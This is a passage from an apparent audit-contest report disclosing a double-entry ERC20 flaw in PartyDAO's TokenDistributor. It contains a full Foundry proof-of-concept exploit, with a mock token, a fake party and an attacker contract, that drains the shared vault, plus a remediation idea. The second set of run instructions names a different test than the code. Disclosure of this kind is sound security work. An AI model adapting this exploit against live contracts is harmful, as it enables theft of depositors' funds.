   If the token distributor wants to know the last known balance of a particular ERC20 token, this is the state variable it goes to.

   You retrieve the balanceId of a ERC20 token, you supply it to the state variable mapping _storedBalances[balanceId] and it returns the last known balance of that ERC20 token identifier. Simple as that.

3. Step 3: Subtract the returned value of _storedBalances[balanceId] from currentTokenBalance (currentTokenBalance was retrieved in step 1. It was retrieved using the .balanceOf() function.)

4. Step 4: The result from the subtraction operation from step 3 will be the amount of ERC20 tokens allocated to the to-be created ERC20 token distribution.

---

The vulnerability

---

The vulnerability allows an attacker to drain double-entry tokens which exist in the token distributor. Simply because the token distributor relies on a mapping of identifiers of each ERC20 address to get the last known balance as well as retrieving the real-time balance using the .balanceOf() function, to allocate X amount of funds for a particular distribution.

An example of an attack

---

Suppose we have the double-entry ERC20 token TLX. TLX has two addresses: 0x100 and 0x200. A party (let's name it TheAvengers) wants to creates a distribution of 10,000 TLX ERC20 tokens through the address 0x100. Now the TokenDistributor contract will do the following:

1. Get it's real-time balance of TLX ERC20 token using .balanceOf() on the contract with address 0x100

   • will return 10,000 since the party has transferred those tokens prior

2. Get it's last-known balance of the TLX ERC20 token by retrieving the identifier of the TLX token address supplied 0x100. Let's say it returned 10391274. Then it will look that identifier up in the state mapping _storedBalances[10391274]. The mapping will return zero as it's the first time receiving this token.

3. Subtract the last-known balance which is 0 from the real-time balance which is 10,000. 10,000 - 0 = 10,000. and allocate the resulting amount to the to-be created distribution.

Now the TokenDistributor contract is holding 10,000 TLX tokens, let's see how an attacker can drain all of them. The attacker will do the following

1. Create a party (genuine or rogue, doesn't matter) with only him being in it with full authority

2. From the created party, create an TLX ERC20 token distribution while supplying the secondary address of the TLX which is 0x200.

3. The TokenDistributor will then do the following:

4. Get it's real-time balance of TLX ERC20 token using .balanceOf() on the secondary address

   • will return 10,000 that secondary address is pointing to the original token (just like the primary address).

5. Get it's last-known balance of the TLX ERC20 token by retrieving the identifier of the TLX token address supplied 0x200 by the attacker. Let's say it returned 918472. Then it will look that identifier up in the state mapping _storedBalances[918472]. The mapping will return zero as it's the first time seeing this identifier of the secondary TLX token address (0x200). It only knows the identifier of the address 0x100 which is 10391274

6. Subtract the last-known balance of the identifier 918472 of the supplied address 0x200 which is 0, from the real-time balance which is 10,000. 10,000 - 0 = 10,000. and allocate the resulting amount to the attacker created distribution.

7. The attacker will now claim those 10,000 TLX tokens.

---

Proof of concept

---

The proof of concept consists of two files:

1. The Mock double-entry ERC20 token file MockDoubleEntryERC20.sol
2. The foundry test file which has the actual PoC DoubleEntryExploit.t.sol

You will add those two files in the test/ folder and run the following command: forge test --match-contract DoubleEntryExploitation --match-test test_doubleEntryExploit -vv

The MockDoubleEntryERC20.sol file:

// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8;


contract TokenEntryPoint {

    address internal erc20Addr;

    constructor(address erc20) {
        erc20Addr = erc20;
    }

    function totalSupply() external view returns (uint256) {
        return IDoubleEntryToken(erc20Addr).totalSupply();
    }
    function balanceOf(address account) external view returns (uint256) {
        return IDoubleEntryToken(erc20Addr).balanceOf(account);
    }
    function allowance(address owner, address spender) external view returns (uint256) {
        return IDoubleEntryToken(erc20Addr).allowance(owner, spender);
    }

    function transfer(address recipient, uint256 amount) external returns (bool) {
        return IDoubleEntryToken(erc20Addr).transfer(msg.sender, recipient, amount);
    }
    function approve(address spender, uint256 amount) external returns (bool) {
        return IDoubleEntryToken(erc20Addr).approve(msg.sender, spender, amount);
    }
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {

        return IDoubleEntryToken(erc20Addr).transferFrom(msg.sender, sender, recipient, amount);
    }

}


interface IDoubleEntryToken {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function allowance(address owner, address spender) external view returns (uint256);

    function transfer(address sender, address recipient, uint256 amount) external returns (bool);
    function approve(address sender, address spender, uint256 amount) external returns (bool);
    function transferFrom(address callSender, address sender, address recipient, uint256 amount) external returns (bool);
}

contract DoubleEntryToken{

    string  public  name;
    string  public  symbol;
    uint8   public  decimals;
    uint256 public  totalSupply_;

    address internal contractOwner;
    address internal address1;
    address internal address2;

    mapping(address => uint256) balances;
    mapping(address => mapping (address => uint256)) allowed;


    constructor()  {
        name = "USDC";
        symbol = "USDC";
        decimals = 18;
        totalSupply_ = 1000000000e18;     // total tokens would equal (totalSupply_/10**decimals)=1000
        balances[msg.sender] = totalSupply_;
        contractOwner = msg.sender;
    }

    function setAllowedAddresses(address address1_, address address2_) external onlyOwner {
        address1 = address1_;
        address2 = address2_;
    }


    function totalSupply() public onlyAuthorizedAddr view returns (uint256) {
        return totalSupply_;
    }

    function balanceOf(address tokenOwner) public view returns (uint256) {
        return balances[tokenOwner];
    }

    function transfer(address sender, address receiver, uint256 numTokens) public onlyAuthorizedAddr returns (bool) {
        require(numTokens <= balances[sender]);
        balances[sender] = balances[sender] - numTokens;
        balances[receiver] = balances[receiver] + numTokens;
        return true;
    }

    function approve(address sender, address delegate, uint256 numTokens) public onlyAuthorizedAddr returns (bool) {
        allowed[sender][delegate] = numTokens;
        return true;
    }

    function allowance(address owner, address delegate) public onlyAuthorizedAddr view returns (uint) {
        return allowed[owner][delegate];
    }

    function transferFrom(address sender, address owner, address buyer, uint256 numTokens) public onlyAuthorizedAddr returns (bool) {
        
        require(numTokens <= balances[owner], "not allowed");
        require(sender == owner || allowed[owner][sender] >= numTokens, "NOT ALLOWED");

        balances[owner] = balances[owner] - numTokens;

        if (allowed[owner][sender] >= numTokens) {
            allowed[owner][sender] = allowed[owner][sender] - numTokens;
        }
        
        balances[buyer] = balances[buyer] + numTokens;

        return true;
    }

    modifier onlyOwner {
        require(msg.sender == contractOwner, "not authorized sry");
        _;
    }

    modifier onlyAuthorizedAddr {
        require(msg.sender == address1 || msg.sender == address2, "not authorized sry");
        _;
    }

}

The DoubleEntryExploit.sol file:

// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8;

import { Vm } from "forge-std/Test.sol";
import { TestUtils } from "./TestUtils.sol";
import { IERC721 } from "../contracts/tokens/IERC721.sol";
import { GlobalsAdmin } from "./TestUsers.sol";
import { PartyFactory } from "../contracts/party/PartyFactory.sol";
import { Globals } from "../contracts/globals/Globals.sol";
import { Party } from "../contracts/party/Party.sol";
import { ProposalExecutionEngine } from "../contracts/proposals/ProposalExecutionEngine.sol";
import { IFractionalV1VaultFactory } from "../contracts/proposals/vendor/FractionalV1.sol";
import { MockZoraReserveAuctionCoreEth } from "./proposals/MockZoraReserveAuctionCoreEth.sol";
import { IReserveAuctionCoreEth } from "../contracts/vendor/markets/IReserveAuctionCoreEth.sol";
import { PartyGovernance } from "../contracts/party/PartyGovernance.sol";
import { ERC721Receiver } from "../contracts/tokens/ERC721Receiver.sol";
import { MetadataRegistry } from "../contracts/renderers/MetadataRegistry.sol";
import { TokenDistributor } from "../contracts/distribution/TokenDistributor.sol";
import { OffChainSignatureValidator } from "../contracts/signature-validators/OffChainSignatureValidator.sol";
import {ArbitraryCallsProposal} from "../contracts/proposals/ArbitraryCallsProposal.sol";
import {IProposalExecutionEngine} from "../contracts/proposals/IProposalExecutionEngine.sol";
import "../contracts/distribution/ITokenDistributor.sol";
import "./MockDoubleEntryERC20.sol";
import "../contracts/utils/LibRawResult.sol";
import "forge-std/console.sol";

/// @notice This contract provides a fully functioning party instance for testing.
///     Run setup from inheriting contract.
abstract contract SetupPartyHelper is TestUtils, ERC721Receiver {

    bool private immutable _isForked;
    GlobalsAdmin internal globalsAdmin;
    Party internal party;
    Party internal partyImpl;
    Globals internal globals;
    PartyFactory internal partyFactory;
    TokenDistributor internal tokenDistributor;
    ProposalExecutionEngine pe;

    struct PartyMembersVotingPowers {
        uint96 User_John_Votes;
        uint96 User_Danny_Votes;
        uint96 User_Steve_Votes;

        uint96 Host_Adam_Votes;
        uint96 Host_Jack_Votes;
        uint96 Host_Josh_Votes;
    }

    /** -------------------------- Party Authority -------------------------- */

    // Test authority member with dummy randomly generated address
    address internal authorityTestUser = vm.addr(1);

    /** -------------------------- Party Members -------------------------- */

    // Test members with dummy randomly generated addresses
    address internal user_john = vm.addr(2);
    address internal user_danny = vm.addr(3);
    address internal user_steve = vm.addr(4);

    // Voting power of each party member
    uint96 internal johnVotes;
    uint96 internal dannyVotes;
    uint96 internal steveVotes;

    /** -------------------------- Party Hosts -------------------------- */

    // Test hosts with dummy randomly generated addresses
    address internal host_adam = vm.addr(5);
    address internal host_jack = vm.addr(6);
    address internal host_josh = vm.addr(7);

    // Voting power of each party host
    uint96 internal adamVotes;
    uint96 internal jackVotes;
    uint96 internal joshVotes;

    /** -------------------------- Party precious tokens -------------------------- */

    IERC721[] internal preciousTokens = new IERC721[](0);
    uint256[] internal preciousTokenIds = new uint256[](0);


    constructor(bool isForked) {
        _isForked = isForked;
    }

    function CreateNewParty(
        PartyMembersVotingPowers memory votingPowers,
        string memory partyName,
        string memory partySymbol,
        uint40 voteDuration,
        uint40 executionDelay,
        uint16 passThresholdBps,
        bool allowArbCallsToSpendPartyEth,
        bool distributionsRequireVote
    ) public {
        Party.PartyOptions memory opts;

        adamVotes = votingPowers.Host_Adam_Votes;
        jackVotes = votingPowers.Host_Jack_Votes;
        joshVotes = votingPowers.Host_Josh_Votes;

        johnVotes = votingPowers.User_John_Votes;
        dannyVotes = votingPowers.User_Danny_Votes;
        steveVotes = votingPowers.User_Steve_Votes;

        address[] memory hosts = new address[](3);
        hosts[0] = host_adam;
        hosts[1] = host_jack;
        hosts[2] = host_josh;

        opts.name = partyName;
        opts.symbol = partySymbol;
        opts.governance.hosts = hosts;
        opts.governance.voteDuration = voteDuration;
        opts.governance.executionDelay = executionDelay;
        opts.governance.passThresholdBps = passThresholdBps;
        opts.proposalEngine.allowArbCallsToSpendPartyEth = allowArbCallsToSpendPartyEth;
        opts.proposalEngine.distributionsRequireVote = distributionsRequireVote;
        opts.governance.totalVotingPower = johnVotes + dannyVotes + steveVotes + adamVotes + joshVotes + jackVotes;  

        initialize(opts);      
    }

    function initialize(Party.PartyOptions memory opts) internal virtual {
        globalsAdmin = new GlobalsAdmin();
        globals = globalsAdmin.globals();
        partyImpl = new Party(globals);
        address globalDaoWalletAddress = address(420);
        globalsAdmin.setGlobalDaoWallet(globalDaoWalletAddress);

        pe = new ProposalExecutionEngine(
            globals,
            _isForked
                ? IReserveAuctionCoreEth(0x5f7072E1fA7c01dfAc7Cf54289621AFAaD2184d0)
                : new MockZoraReserveAuctionCoreEth(),
            _isForked
                ? IFractionalV1VaultFactory(0x85Aa7f78BdB2DE8F3e0c0010d99AD5853fFcfC63)
                : IFractionalV1VaultFactory(address(0))
        );

        globalsAdmin.setProposalEng(address(pe));

        partyFactory = new PartyFactory(globals);
        globalsAdmin.setGlobalPartyFactory(address(partyFactory));

        tokenDistributor = new TokenDistributor(globals, 0);
        globalsAdmin.setTokenDistributor(address(tokenDistributor));

        address[] memory registrars = new address[](2);
        registrars[0] = address(this);
        registrars[1] = address(partyFactory);
        MetadataRegistry metadataRegistry = new MetadataRegistry(globals, registrars);
        globalsAdmin.setMetadataRegistry(address(metadataRegistry));

        OffChainSignatureValidator offChainGlobalValidator = new OffChainSignatureValidator();
        globalsAdmin.setOffChainSignatureValidator(address(offChainGlobalValidator));


        address[] memory authorities = new address[](1);
        authorities[0] = authorityTestUser;
        party = partyFactory.createParty(
            partyImpl,
            authorities,
            opts,
            preciousTokens,
            preciousTokenIds,
            0
        );

        vm.startPrank(authorityTestUser);

        // Give party members voting powers
        party.mint(user_john, johnVotes, user_john);
        party.mint(user_danny, dannyVotes, user_danny);
        party.mint(user_steve, steveVotes, user_steve);

        // Give party members voting powers
        party.mint(host_adam, adamVotes, host_adam);
        party.mint(host_jack, jackVotes, host_jack);
        party.mint(host_josh, joshVotes, host_josh);

        vm.stopPrank();

        vm.warp(block.timestamp + 1);
    }

}

contract DoubleEntryExploitation is SetupPartyHelper {

    constructor() SetupPartyHelper(false) {}

    function setUp() public { 

        PartyMembersVotingPowers memory votingPowers = PartyMembersVotingPowers({
            User_John_Votes: 50,
            User_Danny_Votes: 50,
            User_Steve_Votes: 50,
            Host_Adam_Votes: 50,
            Host_Jack_Votes: 50,
            Host_Josh_Votes: 50
        });

        super.CreateNewParty(
            votingPowers,
            "TestParty",
            "PRT",
            100,
            99999999999,
            5000, // 50% of members have to accept the proposal for it go through
            true,
            false
        );

    }

    function test_doubleEntryExploit() public {

        /** -------- Create a mock double-entry ERC20 token and mint 1000 of it to the party we've created -------- */

        DoubleEntryToken testDoubleEntryToken = new DoubleEntryToken();

        TokenEntryPoint DoubleEntryToken_Entry_One = new TokenEntryPoint(address(testDoubleEntryToken));
        TokenEntryPoint DoubleEntryToken_Entry_Two = new TokenEntryPoint(address(testDoubleEntryToken));

        testDoubleEntryToken.setAllowedAddresses(
            address(DoubleEntryToken_Entry_One), 
            address(DoubleEntryToken_Entry_Two)
        );
        
        DoubleEntryToken_Entry_One.transfer(address(party), 1000 ether);

        assertEq(testDoubleEntryToken.balanceOf(address(party)), 1000 ether);

        /** -------- The party is creating a distribution of the double-entry token -------- */

        vm.prank(user_john);
        party.distribute(1000 ether, ITokenDistributor.TokenType.Erc20, address(DoubleEntryToken_Entry_One), 0);

        assertEq(testDoubleEntryToken.balanceOf(address(party)), 0 ether);
        assertEq(testDoubleEntryToken.balanceOf(address(tokenDistributor)), 1000 ether);


        /** -------- The attack -------- */    

        // Attacker is going to create a fake party (for the sake of simplicity) to create a new distribution
        // An attacker can simply create a genuine party as well and give himself unlimited/voting power and authority.

        address attacker = vm.addr(10002000);

        vm.startPrank(attacker);
        
        FakeParty fakeParty = new FakeParty(address(attacker)); // msg.sender == attacker's address, we're using startPrank()

        // An attacker is going create a distribution using the secondary address of the token `DoubleEntryToken_Entry_Two`
        ITokenDistributor.DistributionInfo memory fakePartyDistributionInfo = tokenDistributor.createErc20Distribution(
            IERC20(address(DoubleEntryToken_Entry_Two)), // <-- The secondary address of the double-entry token
            Party(payable(address(fakeParty))),
            payable(address(attacker)), // msg.sender == attacker address, this is the fee recipient, but the attacker won't receive any fee since feeBps is set to zero
            0
        );

        tokenDistributor.claim(fakePartyDistributionInfo, 100);

        assertEq(testDoubleEntryToken.balanceOf(address(party)), 0 ether);
        assertEq(testDoubleEntryToken.balanceOf(address(tokenDistributor)), 0 ether); // The token distributor was drained by the attacker
        assertEq(testDoubleEntryToken.balanceOf(address(attacker)), 1000 ether); // Attacker now has the 1000 ether the original party has deposited.

        if (
            testDoubleEntryToken.balanceOf(address(attacker)) == 1000 ether 
            &&
            testDoubleEntryToken.balanceOf(address(party)) == 0 ether
        ) {
            console.log("Balance of the party is now: ", testDoubleEntryToken.balanceOf(address(party)));
            console.log("Balance of the attacker is now: ", testDoubleEntryToken.balanceOf(address(attacker)));
            console.log("Attacker has successfully drained the token distributor and stole the party's funds!");
        }

        vm.stopPrank();

    }



}

contract AttackerContract {
    using LibRawResult for bytes;

    address payable internal owner;
    address internal randomParty;
    address internal tokenDistributorAddr;
    ITokenDistributor.DistributionInfo internal distInfo;

    constructor() {
        owner = payable(msg.sender);
    }

    function setDistributionInfo(ITokenDistributor.DistributionInfo memory info, address tokenDistributor, address randomParty_) external onlyOwner {
        distInfo = info;
        tokenDistributorAddr = tokenDistributor;
        randomParty = randomParty_;
    } 

    function transferReceivedMoneyToAttacker() external onlyOwner {
        (bool sent, ) = owner.call{value: address(this).balance}("");
        require(sent, "Failed to send Ether");
    }

    function claim() external onlyOwner {
        ITokenDistributor(tokenDistributorAddr).claim(distInfo, 100);
    }

    receive() external payable {
        ITokenDistributor(tokenDistributorAddr).claimFee(distInfo, payable(address(this)));
    }

    modifier onlyOwner {
        require(msg.sender == owner);
        _;
    }

}

contract FakeParty {
    
    address internal attackerContract;
    constructor(address attackerContract_) { attackerContract = attackerContract_; }

    function ownerOf(uint256 tokenId) external returns(address) {
        return attackerContract;
    }

    struct hax {
        uint256 totalVotingPower;
    }

    struct DummyGovernanceValues {
        uint40 voteDuration;
        uint40 executionDelay;
        uint16 passThresholdBps;
        uint96 totalVotingPower;
    }

    function getGovernanceValues() external returns(DummyGovernanceValues memory) {
        return DummyGovernanceValues({
            voteDuration: 0,
            executionDelay: 0,
            passThresholdBps: 0,
            totalVotingPower: 100
        });
    }

    function VERSION_ID() external returns(uint256) {
        return 2;
    }

    function getDistributionShareOf(uint256 tokenId) external returns(uint256) {
        return 10000000;
    }

    function tokenCount() external returns(uint256) {
        return 1000;
    }

}

How to run:

1. Add the following code to a file with a name of your liking with an extension of ".t.sol"
2. Add the created file to the tests/ folder
3. Run the following command: forge test --match-contract TestHijackPreciousTokens --match-test testHijackPreciousExploit -vv

---

Impact & additional notes on the matter

---

This vulnerability allows an attacker to drain the token distributor vault of any double-entry ERC20 token deposited in it.

Additional notes

A similar issue was reported to PartyDAO in a previous contest and it was judged as a medium. I believe this one is much more impactful and therefore I've reported as a high severity issue, here are my three reasons:

1. The previously-reported issue is only targeting one party. It requires the attacker to be in a party where double-entry tokens were deposited by the other party members (which would be very rare).

   • The bug I've reported is affecting the global token distributor contract which acts as a vault shared by hundreds or even thousands of parties. So the bug im reporting is much wider and broader in scale and accordingly, the amount of funds that can be stolen.

2. In the previously-reported issue, the attacker can steal amount of tokens equivalent to double his share in a particular party. So if the attacker was a member of a party which had 10,000 tokens and he had 25% voting power / share in that party, he will be able to hijack 5,000 tokens ((25% * 10000) * 2).

   • The bug I'm reporting can allow the attacker to drain up to the entire global token distributor vault (which, again, is shared by all parties). Not just double share of an attacker in some party who happens to have double-entry tokens.

3. In the previously reported issue, the attacker has to rage quit / exit a party

   • The bug I'm reporting doesn't require the attacker to rage quit from any party.

---

Remediation

---

This can be a tricky issue to fix. I believe the best way to fix this is to implement a snapshot system similar to the snapshot system implemented for tracking the intrinsic and delegated voting power of each user.

Something like this: When the distribute function is called in a party and the balance is transferred, create something like a "distribution snapshot" which includes the balance transferred + the address of the token + the address of the party making the transfer.

Then the token distributor should rely on those snapshots to determine how much tokens to allocate for which party as well as rely on those snapshots to keep track of the amount of tokens left in each distribution, transferring tokens to the members of parties, etc etc.

---

Assessed type

Token-Transfer